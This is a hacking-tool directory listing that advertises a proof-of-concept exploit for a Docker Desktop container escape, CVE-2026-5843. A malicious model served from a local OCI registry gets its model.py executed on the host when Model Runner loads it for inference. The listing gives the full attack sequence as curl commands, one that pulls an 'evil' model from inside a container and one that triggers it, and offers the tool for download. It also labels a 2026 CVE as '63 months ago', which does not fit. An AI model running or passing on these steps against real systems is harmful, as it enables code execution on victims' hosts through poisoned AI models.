Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5843 — Docker Container Escape POC via mlx-metal importlib | Kitploit
Tools/GitHubGitHub/davidrxchester/cve-2026-5843
Container SecurityVulnerability AnalysisExploitationRed TeamingPayload DevelopmentContainer EscapeAI Security
GitHubdavidrxchester/cve-2026-5843

CVE-2026-5843

Docker Container Escape POC via mlx-metal importlib

View Repository
63 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5843 PoC

Minimal OCI registry that serves a malicious model to exploit the model_file importlib execution path in mlx-lm. When Docker Model Runner loads the model for inference, model.py executes on the host as the logged-in user.

Requires: Docker Desktop ≤ 4.70.x (Apple Silicon) with Model Runner enabled

Usage

root@kitploit:~
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py

# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh

curl -X POST http://model-runner.docker.internal/api/pull \
  -H 'Content-Type: application/json' \
  -d '{"name":"localhost:5555/evil/model:latest"}'

curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'

Output is written to ~/Desktop/mlx.txt on the host.

Full writeup: https://davidrochester.com/posts/container-escape-via-inference

Related CVEs

  • CVE-2026-5817 — vllm-metal trust_remote_code=True, same attack surface, patched in Docker Desktop 4.68.0
Download Tool